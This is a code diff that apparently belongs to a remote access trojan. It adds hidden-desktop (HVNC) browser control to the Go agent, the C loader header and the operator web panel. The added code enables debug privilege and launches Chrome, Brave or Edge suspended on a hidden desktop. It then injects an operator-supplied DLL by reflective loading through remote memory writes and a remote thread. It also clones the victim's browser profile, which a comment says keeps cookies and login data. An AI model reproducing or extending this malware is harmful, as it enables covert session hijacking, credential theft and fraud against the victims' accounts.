} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK;
// struct _PEB is defined in Winternl.h but it is incomplete
// WinDbg> dt -v ntdll!_PEB
typedef struct __PEB // 65 elements, 0x210 bytes
{
BYTE bInheritedAddressSpace;
BYTE bReadImageFileExecOptions;
BYTE bBeingDebugged;
BYTE bSpareBool;
LPVOID lpMutant;
LPVOID lpImageBaseAddress;
PPEB_LDR_DATA pLdr;
LPVOID lpProcessParameters;
LPVOID lpSubSystemData;
LPVOID lpProcessHeap;
PRTL_CRITICAL_SECTION pFastPebLock;
LPVOID lpFastPebLockRoutine;
LPVOID lpFastPebUnlockRoutine;
DWORD dwEnvironmentUpdateCount;
LPVOID lpKernelCallbackTable;
DWORD dwSystemReserved;
DWORD dwAtlThunkSListPtr32;
PPEB_FREE_BLOCK pFreeList;
DWORD dwTlsExpansionCounter;
LPVOID lpTlsBitmap;
DWORD dwTlsBitmapBits[2];
LPVOID lpReadOnlySharedMemoryBase;
LPVOID lpReadOnlySharedMemoryHeap;
LPVOID lpReadOnlyStaticServerData;
LPVOID lpAnsiCodePageData;
LPVOID lpOemCodePageData;
LPVOID lpUnicodeCaseTableData;
DWORD dwNumberOfProcessors;
DWORD dwNtGlobalFlag;
LARGE_INTEGER liCriticalSectionTimeout;
DWORD dwHeapSegmentReserve;
DWORD dwHeapSegmentCommit;
DWORD dwHeapDeCommitTotalFreeThreshold;
DWORD dwHeapDeCommitFreeBlockThreshold;
DWORD dwNumberOfHeaps;
DWORD dwMaximumNumberOfHeaps;
LPVOID lpProcessHeaps;
LPVOID lpGdiSharedHandleTable;
LPVOID lpProcessStarterHelper;
DWORD dwGdiDCAttributeList;
LPVOID lpLoaderLock;
DWORD dwOSMajorVersion;
DWORD dwOSMinorVersion;
WORD wOSBuildNumber;
WORD wOSCSDVersion;
DWORD dwOSPlatformId;
DWORD dwImageSubsystem;
DWORD dwImageSubsystemMajorVersion;
DWORD dwImageSubsystemMinorVersion;
DWORD dwImageProcessAffinityMask;
DWORD dwGdiHandleBuffer[34];
LPVOID lpPostProcessInitRoutine;
LPVOID lpTlsExpansionBitmap;
DWORD dwTlsExpansionBitmapBits[32];
DWORD dwSessionId;
ULARGE_INTEGER liAppCompatFlags;
ULARGE_INTEGER liAppCompatFlagsUser;
LPVOID lppShimData;
LPVOID lpAppCompatInfo;
UNICODE_STR usCSDVersion;
LPVOID lpActivationContextData;
LPVOID lpProcessAssemblyStorageMap;
LPVOID lpSystemDefaultActivationContextData;
LPVOID lpSystemAssemblyStorageMap;
DWORD dwMinimumStackCommit;
} _PEB, * _PPEB;
typedef struct
{
WORD offset : 12;
WORD type : 4;
} IMAGE_RELOC, * PIMAGE_RELOC;
//===============================================================================================//
#endif
//===============================================================================================//
Binary file not shown.
+18
View File
@@ -0,0 +1,18 @@
// Compatibility header for building with MinGW (which lacks MSVC's __try/__except)
#ifndef _HVNC_SEH_COMPAT_H
#define _HVNC_SEH_COMPAT_H
#ifdef __MINGW32__
// MinGW doesn't support MSVC structured exception handling.
// Replace __try/__except with plain code execution (no SEH guard).
#define __try
#define __except(x) if (0)
#define __finally
// MSVC uses GetExceptionCode() inside __except; provide a stub.
#ifndef GetExceptionCode
#define GetExceptionCode() 0
#endif
#endif // __MINGW32__
#endif // _HVNC_SEH_COMPAT_H
@@ -0,0 +1,17 @@
//go:build !windows
package capture
import "errors"
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
return errors.New("HVNC injection not supported on this platform")
}
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
return errors.New("HVNC injection not supported on this platform")
}
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
return errors.New("HVNC injection not supported on this platform")
}
@@ -0,0 +1,656 @@
//go:build windows
package capture
import (
"encoding/binary"
"fmt"
"io"
"log"
"os"
"path/filepath"
"strings"
"syscall"
"time"
"unsafe"
)
var (
procOpenProcess = kernel32.NewProc("OpenProcess")
procVirtualAllocEx = kernel32.NewProc("VirtualAllocEx")
procWriteProcessMemory = kernel32.NewProc("WriteProcessMemory")
procCreateRemoteThread = kernel32.NewProc("CreateRemoteThread")
procWaitForSingleObject = kernel32.NewProc("WaitForSingleObject")
procCloseHandle = kernel32.NewProc("CloseHandle")
procResumeThread = kernel32.NewProc("ResumeThread")
procOpenProcessToken = advapi32.NewProc("OpenProcessToken")
procLookupPrivilegeValueW = advapi32.NewProc("LookupPrivilegeValueW")
procAdjustTokenPrivileges = advapi32.NewProc("AdjustTokenPrivileges")
)
var advapi32 = syscall.NewLazyDLL("advapi32.dll")
const (
PROCESS_CREATE_THREAD = 0x0002
PROCESS_QUERY_INFORMATION = 0x0400
PROCESS_VM_OPERATION = 0x0008
PROCESS_VM_WRITE = 0x0020
PROCESS_VM_READ = 0x0010
PROCESS_ALL_ACCESS_INJ = PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
INFINITE_WAIT = 0xFFFFFFFF
TOKEN_ADJUST_PRIVILEGES = 0x0020
TOKEN_QUERY = 0x0008
SE_PRIVILEGE_ENABLED = 0x00000002
CREATE_SUSPENDED = 0x00000004
CREATE_UNICODE_ENVIRONMENT = 0x00000400
IMAGE_DIRECTORY_ENTRY_EXPORT = 0
IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b
IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b
)
// enableDebugPrivilege attempts to enable SeDebugPrivilege for the current process.
func enableDebugPrivilege() {
var hToken uintptr
currentProcess, _, _ := kernel32.NewProc("GetCurrentProcess").Call()
ret, _, _ := procOpenProcessToken.Call(currentProcess, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, uintptr(unsafe.Pointer(&hToken)))
if ret == 0 {
return
}
defer procCloseHandle.Call(hToken)
seDebug, _ := syscall.UTF16PtrFromString("SeDebugPrivilege")
type luid struct {
LowPart uint32
HighPart int32
}
type luidAndAttributes struct {
Luid luid
Attributes uint32
}
type tokenPrivileges struct {
PrivilegeCount uint32
Privileges luidAndAttributes
}
var tp tokenPrivileges
tp.PrivilegeCount = 1
tp.Privileges.Attributes = SE_PRIVILEGE_ENABLED
ret, _, _ = procLookupPrivilegeValueW.Call(0, uintptr(unsafe.Pointer(seDebug)), uintptr(unsafe.Pointer(&tp.Privileges.Luid)))
if ret == 0 {
return
}
procAdjustTokenPrivileges.Call(hToken, 0, uintptr(unsafe.Pointer(&tp)), 0, 0, 0)
}
// StartHVNCProcessInjected starts a process suspended on the HVNC desktop,
// injects the reflective DLL, then resumes it.
// searchPath/replacePath are passed as environment variables for the DLL hooks.
func StartHVNCProcessInjected(filePath string, dllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
}
result, err := executeHVNCTask(hvncTask{
kind: hvncTaskStartProcessInjected,
filePath: filePath,
dllBytes: dllBytes,
searchPath: searchPath,
replacePath: replacePath,
}, 30*time.Second)
if err != nil {
return err
}
return result.err
}
// StartHVNCBrowserInjected starts a browser on the HVNC desktop with injection.
// If clone is true, it clones the real profile so file I/O is redirected to the clone.
// If clone is false, it starts the browser with injection but no path redirection.
// browser should be one of: "chrome", "brave", "edge".
func StartHVNCBrowserInjected(browser string, exePath string, dllBytes []byte, clone bool) error {
info, ok := browserInfoMap[strings.ToLower(browser)]
if !ok {
return fmt.Errorf("unknown browser %q", browser)
}
if exePath == "" {
exePath = findBrowserExe(info)
if exePath == "" {
return fmt.Errorf("%s not found", info.name)
}
}
if !clone {
log.Printf("hvnc %s: starting without profile cloning", info.name)
return StartHVNCProcessInjected(exePath, dllBytes, "", "")
}
realUserData := getBrowserUserDataDir(info)
if realUserData == "" {
return fmt.Errorf("could not determine %s user data directory", info.name)
}
log.Printf("hvnc %s: real user data at %s", info.name, realUserData)
cloneDir, err := cloneBrowserProfile(info.name, realUserData)
if err != nil {
return fmt.Errorf("profile clone failed: %v", err)
}
log.Printf("hvnc %s: cloned profile to %s", info.name, cloneDir)
return StartHVNCProcessInjected(exePath, dllBytes, realUserData, cloneDir)
}
// StartHVNCChromeInjected is kept for backward compatibility.
func StartHVNCChromeInjected(chromePath string, dllBytes []byte) error {
return StartHVNCBrowserInjected("chrome", chromePath, dllBytes, true)
}
type browserInfo struct {
name string
exePaths []string // candidate exe locations (env vars expanded at runtime)
userData string // relative to LOCALAPPDATA (or APPDATA for Firefox)
useAppData bool // true = use APPDATA instead of LOCALAPPDATA
}
var browserInfoMap = map[string]browserInfo{
"chrome": {
name: "Chrome",
exePaths: []string{
`\Google\Chrome\Application\chrome.exe`,
},
userData: `Google\Chrome\User Data`,
},
"brave": {
name: "Brave",
exePaths: []string{
`\BraveSoftware\Brave-Browser\Application\brave.exe`,
},
userData: `BraveSoftware\Brave-Browser\User Data`,
},
"edge": {
name: "Edge",
exePaths: []string{
`\Microsoft\Edge\Application\msedge.exe`,
},
userData: `Microsoft\Edge\User Data`,
},
}
func findBrowserExe(info browserInfo) string {
roots := []string{
os.Getenv("ProgramFiles"),
os.Getenv("ProgramFiles(x86)"),
os.Getenv("LOCALAPPDATA"),
}
for _, root := range roots {
if root == "" {
continue
}
for _, suffix := range info.exePaths {
p := root + suffix
if _, err := os.Stat(p); err == nil {
return p
}
}
}
return ""
}
func getBrowserUserDataDir(info browserInfo) string {
base := os.Getenv("LOCALAPPDATA")
if info.useAppData {
base = os.Getenv("APPDATA")
}
if base == "" {
return ""
}
dir := filepath.Join(base, info.userData)
if fi, err := os.Stat(dir); err == nil && fi.IsDir() {
return dir
}
return ""
}
// cloneBrowserProfile clones the browser user data directory, skipping only
// large cache directories that aren't needed for a functional session.
// This preserves extensions, cookies, login data, local storage, etc.
func cloneBrowserProfile(browserName string, srcUserData string) (string, error) {
prefix := "hvnc_" + strings.ToLower(browserName) + "_"
// Remove any previous cloned profile directories so we always use fresh data
tmpDir := os.TempDir()
if old, err := os.ReadDir(tmpDir); err == nil {
for _, e := range old {
if strings.HasPrefix(e.Name(), prefix) && e.IsDir() {
p := filepath.Join(tmpDir, e.Name())
log.Printf("hvnc %s: removing old clone %s", browserName, p)
os.RemoveAll(p)
}
}
}
cloneBase := filepath.Join(tmpDir, prefix+fmt.Sprintf("%d", time.Now().UnixNano()))
if err := os.MkdirAll(cloneBase, 0700); err != nil {
return "", fmt.Errorf("mkdir clone: %v", err)
}
// Directories to skip — these are large caches that aren't needed
skipDirs := map[string]bool{
"cache": true,
"code cache": true,
"gpucache": true,
"service worker": true,
"crashpad": true,
"blob_storage": true,
"jumplisterrors": true,
"optimization_guide_prediction_model_downloads": true,
"segmentation_platform": true,
"commerce_local_db": true,
}
entries, err := os.ReadDir(srcUserData)
if err != nil {
return "", fmt.Errorf("read user data dir: %v", err)
}
for _, entry := range entries {
name := entry.Name()
src := filepath.Join(srcUserData, name)
dst := filepath.Join(cloneBase, name)
if entry.IsDir() {
// For profile directories (Default, Profile N), clone contents but skip caches inside
isProfile := strings.EqualFold(name, "Default") || strings.HasPrefix(name, "Profile ")
if isProfile {
if err := cloneProfileDir(browserName, src, dst, skipDirs); err != nil {
log.Printf("hvnc %s: warning: could not clone profile %s: %v", browserName, name, err)
}
} else if !skipDirs[strings.ToLower(name)] {
// Top-level non-profile directories (e.g. "Crashpad" skip, but keep others)
if err := copyDir(src, dst); err != nil {
log.Printf("hvnc %s: warning: could not copy dir %s: %v", browserName, name, err)
}
}
} else {
// Top-level files (Local State, etc.)
if err := copyFile(src, dst); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
}
}
return cloneBase, nil
}
// cloneProfileDir copies a profile directory (e.g. Default/) skipping cache subdirs.
func cloneProfileDir(browserName, src, dst string, skipDirs map[string]bool) error {
if err := os.MkdirAll(dst, 0700); err != nil {
return err
}
entries, err := os.ReadDir(src)
if err != nil {
return err
}
for _, entry := range entries {
name := entry.Name()
s := filepath.Join(src, name)
d := filepath.Join(dst, name)
if entry.IsDir() {
if skipDirs[strings.ToLower(name)] {
continue
}
if err := copyDir(s, d); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
} else {
if err := copyFile(s, d); err != nil {
log.Printf("hvnc %s: warning: could not copy %s: %v", browserName, name, err)
}
}
}
return nil
}
func copyFile(src, dst string) error {
in, err := os.Open(src)
if err != nil {
return err
}
defer in.Close()
if err := os.MkdirAll(filepath.Dir(dst), 0700); err != nil {
return err
}
out, err := os.OpenFile(dst, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0600)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, in)
return err
}
func copyDir(src, dst string) error {
return filepath.Walk(src, func(path string, info os.FileInfo, err error) error {
if err != nil {
return nil // skip errors
}
rel, _ := filepath.Rel(src, path)
target := filepath.Join(dst, rel)
if info.IsDir() {
return os.MkdirAll(target, 0700)
}
return copyFile(path, target)
})
}
func startHVNCProcessInjectedOnThread(filePath string, dllBytes []byte, searchPath, replacePath string) error {
if filePath == "" {
return fmt.Errorf("empty file path")
}
if len(dllBytes) == 0 {
return fmt.Errorf("empty DLL bytes")
}
enableDebugPrivilege()
// Create the process suspended on the HVNC desktop
hProcess, hThread, pid, err := createSuspendedProcessOnDesktop(filePath, searchPath, replacePath)
if err != nil {
return fmt.Errorf("failed to create suspended process: %v", err)
}
log.Printf("hvnc inject: created suspended process PID %d", pid)
// Inject the reflective DLL
if err := reflectiveInject(hProcess, dllBytes); err != nil {
procCloseHandle.Call(hProcess)
procCloseHandle.Call(hThread)
// Try to kill the process
terminateProcess(hProcess)
return fmt.Errorf("DLL injection failed: %v", err)
}
log.Printf("hvnc inject: DLL injected into PID %d", pid)
procCloseHandle.Call(hProcess)
// Resume the main thread
ret, _, _ := procResumeThread.Call(hThread)
if ret == 0xFFFFFFFF {
procCloseHandle.Call(hThread)
return fmt.Errorf("failed to resume thread")
}
procCloseHandle.Call(hThread)
log.Printf("hvnc inject: process PID %d resumed with DLL hooks active", pid)
return nil
}
func terminateProcess(hProcess uintptr) {
kernel32.NewProc("TerminateProcess").Call(hProcess, 1)
}
func createSuspendedProcessOnDesktop(filePath, searchPath, replacePath string) (hProcess, hThread uintptr, pid uint32, err error) {
desktopNamePtr, err := syscall.UTF16PtrFromString(hvncDesktopName)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert desktop name: %v", err)
}
cmdLine, err := syscall.UTF16FromString(filePath + " --window-position=0,0")
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to convert command line: %v", err)
}
var si startupInfo
var pi processInformation
si.cb = uint32(unsafe.Sizeof(si))
si.lpDesktop = desktopNamePtr
si.dwX = 0
si.dwY = 0
si.dwFlags = STARTF_USEPOSITION
envBlock, err := buildEnvironmentBlock(searchPath, replacePath)
if err != nil {
return 0, 0, 0, fmt.Errorf("failed to build environment block: %v", err)
}
ret, _, callErr := procCreateProcessW.Call(
0,
uintptr(unsafe.Pointer(&cmdLine[0])),
0,
0,
0,
uintptr(CREATE_SUSPENDED|CREATE_UNICODE_ENVIRONMENT),
uintptr(unsafe.Pointer(&envBlock[0])),
0,
uintptr(unsafe.Pointer(&si)),
uintptr(unsafe.Pointer(&pi)),
)
if ret == 0 {
if callErr != nil {
return 0, 0, 0, fmt.Errorf("CreateProcess failed: %v", callErr)
}
return 0, 0, 0, fmt.Errorf("CreateProcess failed")
}
return pi.hProcess, pi.hThread, pi.dwProcessId, nil
}
func buildEnvironmentBlock(searchPath, replacePath string) ([]uint16, error) {
envStrings := syscall.Environ()
envStrings = append(envStrings, "RDI_SEARCH_PATH="+searchPath)
envStrings = append(envStrings, "RDI_REPLACE_PATH="+replacePath)
var block []uint16
for _, s := range envStrings {
u, err := syscall.UTF16FromString(s)
if err != nil {
continue
}
block = append(block, u...)
}
block = append(block, 0)
return block, nil
}
func reflectiveInject(hProcess uintptr, dllBytes []byte) error {
loaderOffset, err := findReflectiveLoaderOffset(dllBytes)
if err != nil {
return fmt.Errorf("failed to find ReflectiveLoader: %v", err)
}
log.Printf("hvnc inject: ReflectiveLoader at offset 0x%x", loaderOffset)
remoteBase, _, _ := procVirtualAllocEx.Call(
hProcess,
0,
uintptr(len(dllBytes)),
MEM_RESERVE|MEM_COMMIT,
PAGE_EXECUTE_READWRITE,
)
if remoteBase == 0 {
return fmt.Errorf("VirtualAllocEx failed")
}
var bytesWritten uintptr
ret, _, _ := procWriteProcessMemory.Call(
hProcess,
remoteBase,
uintptr(unsafe.Pointer(&dllBytes[0])),
uintptr(len(dllBytes)),
uintptr(unsafe.Pointer(&bytesWritten)),
)
if ret == 0 {
return fmt.Errorf("WriteProcessMemory failed")
}
remoteLoader := remoteBase + uintptr(loaderOffset)
var threadID uintptr
hThread, _, _ := procCreateRemoteThread.Call(
hProcess,
0,
1024*1024,
remoteLoader,
0,
0,
uintptr(unsafe.Pointer(&threadID)),
)
if hThread == 0 {
return fmt.Errorf("CreateRemoteThread failed")
}
procWaitForSingleObject.Call(hThread, INFINITE_WAIT)
procCloseHandle.Call(hThread)
return nil
}
func findReflectiveLoaderOffset(pe []byte) (uint32, error) {
if len(pe) < 64 {
return 0, fmt.Errorf("PE too small")
}
if pe[0] != 'M' || pe[1] != 'Z' {
return 0, fmt.Errorf("invalid DOS signature")
}
lfanew := binary.LittleEndian.Uint32(pe[60:64])
if int(lfanew)+4 > len(pe) {
return 0, fmt.Errorf("invalid e_lfanew")
}
sig := binary.LittleEndian.Uint32(pe[lfanew : lfanew+4])
if sig != 0x00004550 {
return 0, fmt.Errorf("invalid PE signature")
}
coffOff := lfanew + 4
if int(coffOff)+20 > len(pe) {
return 0, fmt.Errorf("PE too small for COFF header")
}
numberOfSections := binary.LittleEndian.Uint16(pe[coffOff+2 : coffOff+4])
sizeOfOptionalHeader := binary.LittleEndian.Uint16(pe[coffOff+16 : coffOff+18])
optOff := coffOff + 20
if int(optOff)+2 > len(pe) {
return 0, fmt.Errorf("PE too small for optional header")
}
magic := binary.LittleEndian.Uint16(pe[optOff : optOff+2])
var exportDirRVA uint32
switch magic {
case IMAGE_NT_OPTIONAL_HDR64_MAGIC:
ddOff := optOff + 112
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
case IMAGE_NT_OPTIONAL_HDR32_MAGIC:
// PE32 - export directory is at offset 96 in optional header
ddOff := optOff + 96
if int(ddOff)+8 > len(pe) {
return 0, fmt.Errorf("PE too small for data directory")
}
exportDirRVA = binary.LittleEndian.Uint32(pe[ddOff : ddOff+4])
default:
return 0, fmt.Errorf("unsupported PE magic: 0x%x", magic)
}
if exportDirRVA == 0 {
return 0, fmt.Errorf("no export directory")
}
sectionOff := optOff + uint32(sizeOfOptionalHeader)
exportDirFileOff := rvaToFileOffset(exportDirRVA, pe, sectionOff, numberOfSections)
if exportDirFileOff == 0 {
return 0, fmt.Errorf("failed to resolve export directory RVA")
}
if int(exportDirFileOff)+40 > len(pe) {
return 0, fmt.Errorf("PE too small for export directory")
}
numberOfNames := binary.LittleEndian.Uint32(pe[exportDirFileOff+24 : exportDirFileOff+28])
addressOfFunctionsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+28 : exportDirFileOff+32])
addressOfNamesRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+32 : exportDirFileOff+36])
addressOfNameOrdinalsRVA := binary.LittleEndian.Uint32(pe[exportDirFileOff+36 : exportDirFileOff+40])
namesOff := rvaToFileOffset(addressOfNamesRVA, pe, sectionOff, numberOfSections)
funcsOff := rvaToFileOffset(addressOfFunctionsRVA, pe, sectionOff, numberOfSections)
ordinalsOff := rvaToFileOffset(addressOfNameOrdinalsRVA, pe, sectionOff, numberOfSections)
if namesOff == 0 || funcsOff == 0 || ordinalsOff == 0 {
return 0, fmt.Errorf("failed to resolve export table RVAs")
}
for i := uint32(0); i < numberOfNames; i++ {
nameRVA := binary.LittleEndian.Uint32(pe[namesOff+i*4 : namesOff+i*4+4])
nameFileOff := rvaToFileOffset(nameRVA, pe, sectionOff, numberOfSections)
if nameFileOff == 0 {
continue
}
name := readCString(pe, nameFileOff)
if contains(name, "ReflectiveLoader") {
ordinal := binary.LittleEndian.Uint16(pe[ordinalsOff+i*2 : ordinalsOff+i*2+2])
funcRVA := binary.LittleEndian.Uint32(pe[funcsOff+uint32(ordinal)*4 : funcsOff+uint32(ordinal)*4+4])
return rvaToFileOffset(funcRVA, pe, sectionOff, numberOfSections), nil
}
}
return 0, fmt.Errorf("ReflectiveLoader export not found")
}
func rvaToFileOffset(rva uint32, pe []byte, sectionOff uint32, numSections uint16) uint32 {
for i := uint16(0); i < numSections; i++ {
off := sectionOff + uint32(i)*40
if int(off)+40 > len(pe) {
break
}
virtualSize := binary.LittleEndian.Uint32(pe[off+8 : off+12])
virtualAddr := binary.LittleEndian.Uint32(pe[off+12 : off+16])
rawDataSize := binary.LittleEndian.Uint32(pe[off+16 : off+20])
rawDataPtr := binary.LittleEndian.Uint32(pe[off+20 : off+24])
_ = virtualSize
if rva >= virtualAddr && rva < virtualAddr+rawDataSize {
return rva - virtualAddr + rawDataPtr
}
}
if numSections > 0 {
firstSectionRawPtr := binary.LittleEndian.Uint32(pe[sectionOff+20 : sectionOff+24])
if rva < firstSectionRawPtr {
return rva
}
}
return 0
}
func readCString(data []byte, offset uint32) string {
end := offset
for int(end) < len(data) && data[end] != 0 {
end++
}
return string(data[offset:end])
}
func contains(s, substr string) bool {
if len(substr) > len(s) {
return false
}
for i := 0; i <= len(s)-len(substr); i++ {
if s[i:i+len(substr)] == substr {
return true
}
}
return false
}
@@ -174,6 +174,7 @@ type hvncTaskKind int
const (
hvncTaskCapture hvncTaskKind = iota
hvncTaskStartProcess
hvncTaskStartProcessInjected
hvncTaskMouseMove
hvncTaskMouseDown
hvncTaskMouseUp
@@ -183,17 +184,20 @@ const (
)
type hvncTask struct {
kind hvncTaskKind
id uint64
display int
filePath string
x int32
y int32
button int
vk uint16
delta int32
queuedAt time.Time
resp chan hvncTaskResult
kind hvncTaskKind
id uint64
display int
filePath string
x int32
y int32
button int
vk uint16
delta int32
dllBytes []byte
searchPath string
replacePath string
queuedAt time.Time
resp chan hvncTaskResult
}
type hvncTaskResult struct {
@@ -412,6 +416,8 @@ func ensureHVNCThread() error {
switch task.kind {
case hvncTaskStartProcess:
result.err = startHVNCProcessOnThread(task.filePath)
case hvncTaskStartProcessInjected:
result.err = startHVNCProcessInjectedOnThread(task.filePath, task.dllBytes, task.searchPath, task.replacePath)
case hvncTaskMouseMove:
result.err = hvncMouseMoveOnThread(task.display, task.x, task.y)
case hvncTaskMouseDown:
@@ -580,7 +586,7 @@ func hvncThreadWatchdog() {
func shouldTraceHVNCTask(kind hvncTaskKind) bool {
switch kind {
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess:
case hvncTaskMouseDown, hvncTaskMouseUp, hvncTaskKeyDown, hvncTaskKeyUp, hvncTaskMouseWheel, hvncTaskStartProcess, hvncTaskStartProcessInjected:
return true
default:
return false
@@ -593,6 +599,8 @@ func hvncTaskKindName(kind hvncTaskKind) string {
return "capture"
case hvncTaskStartProcess:
return "start_process"
case hvncTaskStartProcessInjected:
return "start_process_injected"
case hvncTaskMouseMove:
return "mouse_move"
case hvncTaskMouseDown:
@@ -620,6 +628,8 @@ func hvncTaskDetails(task hvncTask) string {
return fmt.Sprintf("delta=%d", task.delta)
case hvncTaskStartProcess:
return fmt.Sprintf("cmd=%q", task.filePath)
case hvncTaskStartProcessInjected:
return fmt.Sprintf("cmd=%q search=%q replace=%q dllSize=%d", task.filePath, task.searchPath, task.replacePath, len(task.dllBytes))
default:
return ""
}
@@ -1148,18 +1158,17 @@ func endHVNCWindowDrag(screenPt point) {
func hvncMouseWheelOnThread(delta int32) error {
pt := currentHVNCCursor()
hwnd := getWorkingWindow()
hwnd := windowFromPoint(pt)
if hwnd == 0 {
hwnd = windowFromPoint(pt)
hwnd = getWorkingWindow()
if hwnd == 0 {
return nil
}
setWorkingWindow(hwnd)
}
clientPt := pt
procScreenToClient.Call(hwnd, uintptr(unsafe.Pointer(&clientPt)))
wparam := uintptr(uint16(delta)) << 16
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(clientPt.x, clientPt.y))
// WM_MOUSEWHEEL: wparam high word = delta, low word = button/key state
// WM_MOUSEWHEEL: lparam = screen coordinates (NOT client coordinates) (I wanna fucking kms)
wparam := (uintptr(uint16(delta)) << 16) | uintptr(currentMouseButtons())
procPostMessageW.Call(hwnd, WM_MOUSEWHEEL, wparam, makeLParam(pt.x, pt.y))
return nil
}
@@ -444,6 +444,21 @@ func writeVoiceDownlink(data []byte) error {
return nil
}
func extractDLLBytes(payload map[string]interface{}) []byte {
if payload == nil {
return nil
}
switch v := payload["dll"].(type) {
case []byte:
return v
case string:
if len(v) > 0 {
return []byte(v)
}
}
return nil
}
func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]interface{}) error {
cmdID, _ := envelope["id"].(string)
action, _ := envelope["commandType"].(string)
@@ -1267,6 +1282,92 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
})
return nil
case "hvnc_start_process_injected":
payload, _ := envelope["payload"].(map[string]interface{})
filePath := ""
searchPath := ""
replacePath := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
filePath = v
}
if v, ok := payload["search_path"].(string); ok {
searchPath = v
}
if v, ok := payload["replace_path"].(string); ok {
replacePath = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("hvnc: start process injected %q search=%q replace=%q dllSize=%d", filePath, searchPath, replacePath, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_process_injected", nil, func() {
if err := capture.StartHVNCProcessInjected(filePath, dllBytes, searchPath, replacePath); err != nil {
log.Printf("hvnc: injected process failed for %q: %v", filePath, err)
}
})
return nil
case "hvnc_start_chrome_injected":
payload, _ := envelope["payload"].(map[string]interface{})
chromePath := ""
if payload != nil {
if v, ok := payload["path"].(string); ok {
chromePath = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
log.Printf("hvnc: start chrome injected path=%q dllSize=%d", chromePath, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_chrome_injected", nil, func() {
if err := capture.StartHVNCChromeInjected(chromePath, dllBytes); err != nil {
log.Printf("hvnc: chrome injected failed: %v", err)
}
})
return nil
case "hvnc_start_browser_injected":
payload, _ := envelope["payload"].(map[string]interface{})
browser := ""
exePath := ""
clone := true
if payload != nil {
if v, ok := payload["browser"].(string); ok {
browser = v
}
if v, ok := payload["path"].(string); ok {
exePath = v
}
if v, ok := payload["clone"].(bool); ok {
clone = v
}
}
dllBytes := extractDLLBytes(payload)
if len(dllBytes) == 0 {
sendCommandResultSafe(env, cmdID, false, "no DLL provided")
return nil
}
if browser == "" {
sendCommandResultSafe(env, cmdID, false, "no browser specified")
return nil
}
log.Printf("hvnc: start browser injected browser=%q path=%q clone=%v dllSize=%d", browser, exePath, clone, len(dllBytes))
sendCommandResultSafe(env, cmdID, true, "")
goSafe("hvnc_start_browser_injected", nil, func() {
if err := capture.StartHVNCBrowserInjected(browser, exePath, dllBytes, clone); err != nil {
log.Printf("hvnc: browser injected failed for %q: %v", browser, err)
}
})
return nil
case "webcam_start":
env.WebcamMu.Lock()
if env.WebcamCancel != nil {
+6 -3
View File
@@ -746,11 +746,14 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
} else if (action === "start-powershell") {
sendCmd("hvnc_start_process", { path: "conhost powershell.exe" });
} else if (action === "start-chrome") {
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" });
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "chrome", clone });
} else if (action === "start-brave") {
sendCmd("hvnc_start_process", { path: "c:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" });
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "brave", clone });
} else if (action === "start-edge") {
sendCmd("hvnc_start_process", { path: "c:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" });
const clone = document.getElementById("hvncCloneToggle")?.checked !== false;
sendCmd("hvnc_start_browser_injected", { browser: "edge", clone });
} else if (action === "start-custom") {
const exePath = prompt("Enter exe path (required)");
if (!exePath) {
+4
View File
@@ -152,6 +152,10 @@
class="hidden fixed z-50 min-w-[180px] rounded-lg border border-slate-700 bg-slate-900/95 text-sm text-slate-200 shadow-xl"
>
<div class="px-3 pt-2 pb-1 text-xs uppercase tracking-wide text-slate-500">Browsers</div>
<label class="flex items-center gap-2 px-3 py-2 cursor-pointer hover:bg-slate-800/70 select-none">
<input type="checkbox" id="hvncCloneToggle" checked class="accent-violet-500 w-4 h-4 rounded" />
<span class="text-xs text-slate-300">Clone profile</span>
</label>
<button
type="button"
class="w-full text-left px-3 py-2 hover:bg-slate-800/70"
@@ -1,6 +1,8 @@
import type { ServerWebSocket } from "bun";
import { decode as msgpackDecode, encode as msgpackEncode } from "@msgpack/msgpack";
